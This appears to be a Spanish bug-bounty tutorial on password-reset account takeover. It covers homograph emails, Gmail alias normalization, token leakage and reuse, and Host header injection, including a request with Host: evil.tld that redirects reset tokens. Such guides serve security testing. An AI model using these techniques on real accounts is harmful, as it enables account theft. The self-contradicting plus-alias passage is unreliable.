Respuesta rápida
Password reset es el endpoint más auditado y aún así el más roto del bug bounty. La razón: cualquier "feature" del flow (case insensitivity, internationalization, alias support) crea collision space. Cuatro bypasses rentables: Puny code / IDN homograph (registrar víctima@gmail.com con cirílico → recibe el reset email), Host header injection (cambia el link del email para apuntar a tu dominio), email normalization (gmail dot/plus aliases tratados como distintos en register pero iguales en reset), token leakage (referer, response body, log). Bounties: €1.500-€12.000 con ATO chain.
El flow estándar y dónde rompe
1. User submits email → POST /auth/forgot { email }
2. Server busca user por email
3. Server genera token reset (random 32-128 chars)
4. Server guarda { userId, token, expiresAt } en DB
5. Server envía email con link: https://target.com/reset?token=XXX
6. User clica → GET /reset?token=XXX → form de nuevo password
7. POST /reset { token, newPassword } → password updated
Cada paso es atacable.
Puny code / IDN homograph attack
Unicode permite registrar victim@gmail.com con caracteres cirílicos que se ven idénticos al ojo humano pero son diferentes para el sistema. Combinado con email normalization downstream → ATO.
El truco
Las letras latinas y cirílicas comparten glifos:
| Latín | Cirílico | Punto código |
|---|---|---|
a | а | U+0061 vs U+0430 |
e | е | U+0065 vs U+0435 |
i | і | U+0069 vs U+0456 |
o | о | U+006F vs U+043E |
p | р | U+0070 vs U+0440 |
c | с | U+0063 vs U+0441 |
Escenario de exploit
- Víctima tiene cuenta
gorka@target.com. - Atacante registra cuenta con
gоrka@target.com(laоes cirílica U+043E). - Para registro pasa porque la app trata strings byte-exact → es un email "diferente".
- Atacante solicita password reset de la VÍCTIMA
gorka@target.com. - Si la app normaliza Unicode en el lookup (NFKC, Punycode lookup) pero no en el storage → encuentra al user atacante → manda email al atacante.
Variante: mailbox provider acepta ambos
Algunos mail providers (Gmail) rechazan caracteres cirílicos en mailbox local-part — pero ProtonMail, Yandex, custom domain mailservers a veces sí los aceptan.
gorka@yandex.com
gоrka@yandex.com ← cirílico, Yandex acepta ambos como mailboxes separados
Si target.com no normaliza pero el provider sí → atacante recibe correos de la víctima.
Detección
Test register con victim+a@target.com y victim+ɑ@target.com (latin alpha). ¿Acepta ambos como distintos? Si sí → posible chain.
Email normalization — Gmail dots and plus aliases
Gmail trata usuario@gmail.com == us.uario@gmail.com == usu.ar.io@gmail.com == usuario+anything@gmail.com. Casi nadie más lo hace.
Chain común
- Víctima registra
usuario@gmail.comen target.com. - Atacante registra
us.uario@gmail.comen target.com (Gmail entrega ambos a la misma inbox; target.com los trata como distintos). - Atacante solicita reset password de
usuario@gmail.com. - Email llega a
usuario@gmail.com(víctima). - Pero si la app normaliza al hacer reset (
u.s.uario→usuario) y el lookup encuentra al atacante → atacante recibe reset → ATO.
Plus aliases
usuario@gmail.com
usuario+atacante@gmail.com ← misma inbox para Gmail; misma cuenta para apps que normalizan
App que acepta plus alias en register pero lo strippea en reset → atacante registra usuario+evil@gmail.com, pide reset a usuario@gmail.com (sin alias), token va a la víctima... no, espera, va a la víctima. El bug real es al revés: registrar usuario+evil@gmail.com, pedir reset de usuario+evil@gmail.com (que está en tu inbox como usuario) → token llega a la víctima.
Más exacta: registra usuario+atacante@gmail.com → eres usuario para la app si normaliza → pides reset → email va a usuario+atacante@gmail.com (tu inbox) → ATO de la víctima usuario@gmail.com.
Host header injection
Quizás el bypass más viejo y aún más explotable. La app construye el link del reset usando el Host header del request:
const resetLink = `https://${req.headers.host}/reset?token=${token}`;
sendEmail(user.email, resetLink);
Atacante manda:
POST /auth/forgot HTTP/1.1
Host: evil.tld
Content-Type: application/json
{"email": "victim@target.com"}
Si el server confía en el Host header del request → email a víctima contiene:
Click here to reset: https://evil.tld/reset?token=XXX
Víctima clica → token va a evil.tld (en path o query) → atacante usa el token en target.com/reset → ATO.
Variantes
- X-Forwarded-Host:
X-Forwarded-Host: evil.tld— algunas frameworks priorizan este header. - Host: target.com:@evil.tld: parser confuso, algunos ven
target.com(legit), email construido conevil.tld. - Double Host header:
Host: target.com\r\nHost: evil.tld— algunos parsers leen el último, otros el primero.
Detección
Inspecciona el email que recibes con reset. ¿El dominio del link viene del input HTTP (Host header) o está hardcoded? Cambia Host y observa.
Token leakage
Via Referer
Si el link del email lleva a una página que carga assets de terceros (CDN, analytics, fonts), los terceros reciben Referer: target.com/reset?token=XXX.
Detección: visita el link de reset, captura todas las requests en Burp/DevTools → ¿alguna sale a otro dominio con Referer que incluye ?token=?
Fix correcto: Referrer-Policy: strict-origin en la página de reset.
Via response body
Algunos endpoints, en respuesta a la solicitud de reset (POST /forgot), incluyen el token:
{
"message": "Email sent",
"debug": {
"token": "XXX"
}
}
Endpoint dev olvidado en producción. Test con Burp Repeater.
Via logs / monitoring
Si la app loggea full URL en logs (Datadog, Sentry, custom logs) y los logs son accesibles vía vulnerable endpoint → exfil.
Via JS bundle
Algunos SPAs incluyen el token en window state al renderizar el reset page (hydration data). Si la página es indexada por crawler / cacheada / fugada por error → exfil.
Token reuse / not invalidated
Reuse tras uso
El token debería ser válido para una sola operación. Bug frecuente: tras usar el token, no se invalida. Atacante:
- Víctima resetea password con token X → OK.
- Atacante (si interceptó X via cualquier método) usa X otra vez → password reset otra vez.
Reuse tras login
Si la víctima loguea con nuevo password y luego solicita ANOTHER reset por error → el primer token sigue válido. Cualquiera con el primer token tiene acceso permanente.
Token no expira
Token válido por 24h es estándar — pero algunas apps no expiran nunca. Token leaked hace 6 meses sigue válido.
Response manipulation — el bypass tonto que funciona
Endpoint POST /reset retorna {"success": true} o {"success": false}. Frontend SPA redirige basándose en el success. Intercepta:
HTTP/1.1 400 Bad Request
{"success": false, "error": "Invalid token"}
← cambia a:
HTTP/1.1 200 OK
{"success": true}
→ Frontend redirige a "password changed", muestra login. Pero el password no se cambió en realidad. Bug no útil para ATO porque el password real no cambió.
Salvo que el endpoint /finalize-reset también esté roto: si reset completa la sesión + emite cookie de auth via response que también es manipulable → ATO.
Account linking / unverified email takeover
Algunas apps permiten password reset incluso si el email no está verificado (anti-pattern). Si la app permite cambiar email vía API:
- Atacante registra cuenta nueva.
- Cambia email a
victim@target.com(sin verificación). - Solicita password reset → email a
victim@target.com. - Víctima ve email "extraño" pero clica → reset el password del atacante (que ahora controla la cuenta linkeada a victim's email).
Variante: si target.com permite multiple emails por cuenta + verificación débil + reset por cualquier email asociado → reset por email atacante-controlado.
Hunting checklist
- Host header injection: cambia
Host/X-Forwarded-Hosty observa email recibido. - Puny code: registra
victim@target.comcon cirílico (NIST de homographs). - Gmail normalization: prueba
user@gmail.comvsu.ser@gmail.comvsuser+x@gmail.com. - Token en response body del POST /forgot — endpoint dev olvidado.
- Token en referer de assets externos en la página de reset.
- Token reuse: usa el mismo token 2 veces, ¿ambos pasan?
- Token expiration: deja token 24h+, ¿sigue válido?
- Email change without verify + reset → ATO chain.
- Response manipulation: status / body / cookie del endpoint final.
- Rate limit en /forgot: si no hay, brute force token de 4-6 dígitos.
- Token entropy: si el token es predecible (timestamp + userId) → forge.
- Documenta: el chain mínimo + impact (ATO definitivo vs window de horas).
Labs relacionados
Practica Host header injection, Puny code y normalization attacks en labs de password reset.
La checklist que repaso en cada objetivo nuevo
47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.
Te das de baja en un clic, desde cualquier correo.
Practica esto en un lab
Password Reset
Sigue aprendiendo · cuenta gratis
Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.
Hay un payload extra al final
El bypass de password reset usando Unicode collisions en `i` cyrillic + Gmail normalization para tomar accounts ajenas sin nunca tocar su email real.
7,99 €/mes · cancela cuando quieras
Artículos relacionados
0-click Account Takeover — OTP brute force + Email Normalization
Dos fallos por separado parecen menores. Juntos, te dan ATO completo conociendo solo el email. Bounty real: €560 y 12 minutos de explotación.
CSRF (Cross-Site Request Forgery) — explicado completo con bypasses
CSRF: cómo se explota, defensas comunes (tokens, SameSite, Origin), bypasses (method change, JSON, double-submit, content-type) y dónde buscarlo en cualquier app.
JWT — vulnerabilidades, bypasses y manipulación de claims
alg=none, RS256→HS256 confusion, kid SQLi/path traversal, jku spoofing, secret cracking con hashcat. Cómo cazar JWTs mal verificados.
